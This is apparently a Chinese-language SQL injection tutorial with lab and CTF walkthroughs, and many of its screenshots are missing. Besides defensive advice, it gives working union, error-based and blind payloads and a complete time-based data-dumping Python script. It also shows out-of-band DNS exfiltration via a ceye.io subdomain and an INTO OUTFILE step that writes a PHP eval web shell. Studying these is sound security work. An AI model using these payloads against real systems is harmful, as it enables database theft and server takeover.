SQL注入

SQL注入

一,概述

SQL注入(SQL Injection)是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行非法的数据库操作。这种漏洞通常出现在使用动态生成SQL查询的应用程序中,而不是正确地使用参数化查询或预编译语句。

攻击者可以通过输入恶意的SQL语句来利用SQL注入漏洞。这些语句可以绕过应用程序的输入验证,直接与后端数据库进行交互。攻击者可以通过注入恶意代码来执行各种操作,如绕过身份验证、访问、修改或删除敏感数据,甚至完全控制数据库服务器。

二,攻击示例

以下是一个示例,说明了一个受到SQL注入攻击的简单应用程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
username = input("请输入用户名: ")
password = input("请输入密码: ")

# 构造SQL查询
sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"

# 执行SQL查询并验证用户
result = execute_sql_query(sql)
if result:
print("登录成功")
else:
print("登录失败")

在这个例子中,如果攻击者在用户名或密码字段中输入恶意的SQL代码,就可以改变原始的查询意图。例如,如果攻击者输入' OR '1'='1作为用户名和密码,构造出的SQL查询将会变成

1
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'

这个查询的条件’1’=’1’永远为真,导致应用程序认为用户已成功登录,即使没有提供有效的用户名和密码。

三,防护

为了防止SQL注入攻击,应该采取以下措施之一或组合使用:

1.使用参数化查询或预编译语句:这些查询方式会将用户输入作为参数传递给查询语句,而不是直接将其嵌入到SQL代码中。这样可以防止恶意代码注入。

2.输入验证和过滤:对于用户输入的数据,应该进行验证和过滤,只允许特定的字符或格式。可以使用正则表达式或特定的输入验证库来实现。

3.最小权限原则:在数据库设置中,使用最小权限原则为应用程序提供访问数据库的权限。确保应用程序只能执行必要的数据库操作,而不能对整个数据库进行完全访问。

4.定期更新和维护:及时更新和维护应用程序和相关组件,以修复已知的安全漏洞,并及时应用安全补丁。

综上所述,SQL注入是一种严重的安全威胁,但通过采取适当的防护措施,可以有效地防止此类攻击。

利用方法一进行防护:

当使用参数化查询或预编译语句时,可以将用户输入作为参数传递给查询,而不是将其直接嵌入到SQL代码中。这样可以防止恶意代码注入。以下是将上述例子改为使用参数化查询的示例(假设使用Python和SQLite数据库):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sqlite3

# 连接到数据库
conn = sqlite3.connect('database.db')
cursor = conn.cursor()

# 获取用户输入
username = input("请输入用户名: ")
password = input("请输入密码: ")

# 使用参数化查询
sql = "SELECT * FROM users WHERE username=? AND password=?"
params = (username, password)

# 执行查询
cursor.execute(sql, params)

# 获取查询结果
result = cursor.fetchone()

if result:
print("登录成功")
else:
print("登录失败")

# 关闭数据库连接
conn.close()

在这个示例中,使用了参数化查询的方式来构造SQL查询语句。用户名和密码被作为参数传递给execute方法,而不是直接嵌入到查询语句中。这样可以确保用户输入不会被解释为SQL代码,从而防止SQL注入攻击。

万能公式

1 and 1=1
1’ and ‘1’=’1
1 or 1=1
1’ or ‘1’=’1

数字型和字符型的SQL注入

数字型和字符型的SQL注入是基于输入数据类型的不同方式进行攻击的。下面分别详细介绍这两种类型的SQL注入。

  1. 数字型SQL注入:
    数字型SQL注入通常发生在应用程序没有正确验证和处理用户输入的数字数据时。攻击者利用这个漏洞来执行非法的数据库操作。以下是一个示例:

假设应用程序接收一个用户输入的数字,然后将其用于构造SQL查询,但没有进行输入验证和处理:

1
2
3
4
5
6
7
input_id = input("请输入用户ID: ")

# 构造SQL查询
sql = "SELECT * FROM users WHERE id = " + input_id

# 执行SQL查询
result = execute_sql_query(sql)

如果攻击者在输入字段中输入了恶意代码,例如输入1 OR 1=1, 则构造的SQL查询将变为:

1
SELECT * FROM users WHERE id = 1 OR 1=1

这个查询的条件1=1永远为真,导致返回所有用户的记录,而不仅仅是具有指定ID的用户。

防止数字型SQL注入的关键是对输入进行验证和处理。确保只接受预期的数字输入,并使用参数化查询或预编译语句来构造查询,而不是直接将用户输入嵌入到SQL代码中。

  1. 字符型SQL注入:
    字符型SQL注入是最常见的SQL注入类型,通常发生在应用程序没有正确处理用户输入的字符数据时。攻击者利用这个漏洞来插入恶意的SQL代码。以下是一个示例:

假设应用程序接收一个用户输入的用户名,并将其用于构造SQL查询,但没有进行输入验证和处理:

1
2
3
4
5
6
7
input_username = input("请输入用户名: ")

# 构造SQL查询
sql = "SELECT * FROM users WHERE username = '" + input_username + "'"

# 执行SQL查询
result = execute_sql_query(sql)

如果攻击者在用户名字段中输入了恶意代码,例如输入' OR '1'='1, 则构造的SQL查询将变为:

1
SELECT * FROM users WHERE username = '' OR '1'='1'

这个查询的条件'1'='1'永远为真,导致返回所有用户的记录,而不仅仅是具有指定用户名的用户。

防止字符型SQL注入的关键是对输入进行验证、过滤和转义。确保只接受预期的字符输入,并在构造SQL查询时使用参数化查询或预编译语句,以避免直接将用户输入嵌入到SQL代码中。另外,还可以使用数据库提供的转义函数或库来转义特殊字符,以防止注入攻击。

例题

1.[极客大挑战 2019]EasySQL1

1.打开页面看到如下界面, 有两个功能点且参数可控,允许上传 ,(这也是sql注入的基础)很明显与数据库存在信息交互,想到sql注入。

image.png

  1. 随便输入一个用户名和密码,通过网址可以判断出该请求是get的方式
    image.png
  2. 直接使用万能密码测试是否存在SQL注入漏洞:

image.png

4.getshell

image.png

union联合注入

联合查询

1
select a from b union select c from d where e;

大致就是这样 显然union会一次显示两个查询结果我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。

联合查询的使用条件

当页面对不同的查询语句有不同的结果时可以使用,因为我们根据需要每一步的返回结果来判断和进行下一步操作.

union注入流程

依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据.

判断注入类型

1
2
3
id=1
id=1'
id=1' --+

image

image

image

首先输入id为1,然后用单引号闭合发现报错 将单引号注释掉后恢复正常,其原因在上一篇中有提到,输入 ’ 后使得sql语句中多了一个单引号造成错误,而注释掉后面内容后又恢复正常,说明输入的单引号与前面的id=1也形成了一个闭合,因此可以判断注入类型为字符型,闭合方式为单引号.

判断字段数

1
id=1' order by 1 --+

union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断
我们使用的是 order by number 其作用为输出第number列.

image

可以看到此时页面正常,我们增加number直到报错,那么此时number-1即为字段数

image

可见有3个字段

判断回显点

1
2
id=1' union select 1,2,3 limit 1,1 --+
id=-1' union select 1,2,3 --+

当我们知道该表的字段数之后,我们还需要确定在哪个字段出会输出有效信息 可以尝试一下

image

可以看到我们在union select 后拼接了数字1,2,3 而此时我们看到还加入了limit 1,1 这是为什么呢?
联合查询的输出是严格按照顺序进行的,因此当id=1存在时会在第0行输出第一个sql语句查询到的结果,自然我们输入的数字就到了下一行
而 limit num1,num2的作用为从第num1行开始显示num2行内容。

image

image

我们可以看到2,3被输出了,说明这两个位置都可以作为回显点
当然我们也可以不用limit语句,只需让前面sql语句查询结果为空即可 如图

image

image

爆库名

可能判断的时候特殊情况还得留个心眼,但是下面就没啥好说的了,基本都是套路

1
id=-1' union select 1,database(),3 --+

image

database()显示当前库名称
也可以使用group_concat() 将所有内容写入一行并输出

爆表名

1
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image

解释一下payload:information_schema是mysql自带的库,记录了该数据库所有的表名和字段名
该句的含义为:查找数据库中security库下的所有表名
显然结果中的users十分关键。

爆字段名

1
2
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' 
and table_name='users' --+

image

同理 该payload可解释为:查询数据库security下表users中的所有字段,显然我们对结果中的uname与pwd很感兴趣。

查数据

1
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users --+

image

0x5c是\的十六进制编码,为了将uname与pwd分开,也可改成其他任意字符
该payload意为:查询security库中users表中字段username与password的所有信息

这时候我们就拿到了我们需要的数据,注入基本完成

get型注入 (协议视角) –>union

image

union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() –

如果查询table_name只显示一个表名,那么就要用group_concat()函数拼接。

1
username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

image

union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = ‘users’ –

image

union select 1,id,login,4,password,6,7 from users –

image

post注入 (协议视角)

image

image

可以测试出为整型。

image

image

image

判断sql注入点以及防御

image

image

image

image

image

image

image

五种不同的sql注入类型(宏观视角)

image

image

image

image

image

image

image

image

image

image

http://192.168.149.136:88/sqli_15.php?title=1%‘ or sleep(0.1) – &action=search

image

image

http://192.168.149.136:88/sqli_15.php?title=World War Z’ and length(database())=5 and sleep(1) – &action=search

字符比较

image

数字比较

image

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# coding:utf-8
import requests
import time
# IP 地址对应修改
ip_port = "192.168.149.136:88"
data = {
"login": "bee",
"password": "bug",
"security_level": "0",
"form": "submit"
}

urlLogin = "http://%s/login.php" % ip_port
# 创建一个会话
session = requests.session()
# 发送登录请求
resp = session.post(urlLogin, data)
num = 0
# 检查是否成功登录
if resp.status_code == 200:
print("登录成功")
else:
print("登录失败,状态码:", resp.status_code)


# 获取数据库名长度
def get_length_of_database():
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and length(database())=%d and sleep(1) -- &action=search" % (
ip_port, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i = i + 1


# 获取数据库名字
def get_name_of_database():
# 获取数据库名长度
length_of_database = get_length_of_database()
name_of_database = ""
for j in range(1, length_of_database):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and ascii(substr(database(),%d,1))=%d and sleep(1) -- &action=search" % (
ip_port, j, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name_of_database += chr(k)
break
return name_of_database


# 获取指定库中表的数量
def get_count_of_tables():
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.tables where table_schema=database())=%d and sleep(1) -- &action=search" % (
ip_port, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i = i + 1


# 获取指定库所有表的表名长度的列表
def get_length_list_of_tables():
# 获取指定库中表的数量
count_of_tables = get_count_of_tables()
length_list = []
for i in range(0, count_of_tables):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j = j + 1
return length_list


# 获取指定库中的所有表名列表
def get_tables():
# 获取指定库中表的数量
count_of_tables = get_count_of_tables()
# 获取指定库所有表的表名长度的列表
length_list = get_length_list_of_tables()
name_of_tables = []
for i in range(0, count_of_tables):
name = ""
for j in range(0, length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((table_name),%d,1)) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, j + 1, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name += chr(k)
break
name_of_tables.append(name)
return name_of_tables


# 获取指定表中列的数量
def get_count_of_columns(name_of_table):
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\"%s\")=%d and sleep(1) -- &action=search" % (
ip_port, name_of_table, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i += 1


# 获取指定表所有列的列名长度
def get_length_list_of_columns(name_of_table):
count_of_columns = get_count_of_columns(name_of_table)
length_list = []
for i in range(0, count_of_columns):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_table, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j = j + 1
return length_list


# 获取指定表的所有列的列名
def get_columns(name_of_table):
count_of_columns = get_count_of_columns(name_of_table)
length_list = get_length_list_of_columns(name_of_table)
columns = []
for i in range(0, count_of_columns):
name = ""
for j in range(0, length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((column_name),%d,1)) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, j + 1, name_of_table, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
name += chr(k)
break
columns.append(name)
return columns


# 获取指定表指定列名数据个数
def get_count_of_datas(name_of_table, name_of_column):
i = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select count(%s) from %s)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, name_of_table, i)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
return i
i += 1


# 获取指定表指定列名数据长度列表
def get_length_list_of_datas(name_of_table, name_of_column):
count_of_datas = get_count_of_datas(name_of_table, name_of_column)
length_list = []
for i in range(0, count_of_datas):
j = 1
while True:
url = "http://%s/sqli_15.php?title=World War Z' and (select length(%s) from %s limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, name_of_table, i, j)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
length_list.append(j)
break
j += 1
return length_list


# 爆破数据
def get_datas(name_of_table, name_of_column):
count_of_datas = get_count_of_datas(name_of_table, name_of_column)
length_list = get_length_list_of_datas(name_of_table, name_of_column)
datas = []
for i in range(count_of_datas):
data = ""
for j in range(length_list[i]):
for k in range(33, 128):
url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((%s),%d,1)) from %s limit %d,1)=%d and sleep(1) -- &action=search" % (
ip_port, name_of_column, j + 1, name_of_table, i, k)
startTime = time.time()
rsq = session.get(url)
endTime = time.time()
ga = endTime - startTime
if ga > 1:
data += chr(k)
break
datas.append(data)
return datas


def main():
print("Judging the database...")
print()
print("Getting the table name...")
tables = get_tables()
for i in tables:
print("[+]%s" % (i))
print("The table names in this database are:%s" % (tables))
table = input("Select the Table name:")
if table not in tables:
print("Error!")
exit()
print()
print("Getting the column names in the %s table......" % (table))
columns = get_columns(table)
for i in columns:
print("[+]%s" % (i))
while True:
print("The column name in %s are:%s" % (table, columns))
column = input("Select the Column name:")
if column not in columns:
print("Error!")
exit()
print()
print("Getting the datas......")
datas = get_datas(table, column)
for i in datas:
print("[+]%s" % (i))
choice = input("是否结束?Y/N")
if choice == 'Y' or choice =='y':
break

if __name__ == '__main__':
main()

http头注入

image

报错注入

image

image

image

image

image

image

image

image

image

image

image

image

image

1.如果不使用concat函数,输出的版本信息不全。

2.0x7e是~

image

image

image

image

报错注入实战

image

1
2
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e,database()))
-- &Submit=Submit#

image

1
2
3
4
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and extractvalue
(1,concat(0x7e,(select table_name from information_schema.tables
where table_schema=database() limit 2,1)))
-- &Submit=Submit#

image

1
2
3
4
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and 
extractvalue(1,concat(0x7e,(select column_name from
information_schema.columns where table_name='users' limit 3,1)))
-- &Submit=Submit#

image

1
2
3
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and 
extractvalue(1,concat(0x7e,(select password from users limit 1,1)))
-- &Submit=Submit#

image

32个字符是由于extractvalue函数的限制,31个字符并不符合密码的加密字符数。

因此需要借助其他函数来泄露。

image

image

1
2
3
http://192.168.149.136/vulnerabilities/sqli/?id=-1' and 
extractvalue(1,mid(concat(0x7e,(select password from users limit 1,1)),1,30))
-- &Submit=Submit#

堆叠注入

image

image

image

image

OOB注入

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

CEYE平台

CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。

漏洞检测或漏洞利用需要进一步的用户或系统交互。

一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。

这时候使用CEYE平台,通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。

image

image

OOB注入实战

​​image

​​image

image

image

image

image

image

show global variables like “%secure_file_priv%”;

image

select concat(“\\\\“,(select database()),”.bcegvg.ceye.io\\abc”);

image

image

image

SQL注入写文件到指定目录

user=admin’ union selselectect 1,2,3,4,0x3C3F70687020406576616C28245F504F53545B3132335D293B3F3E into outfile ‘/var/www/html/shell11.php’#

image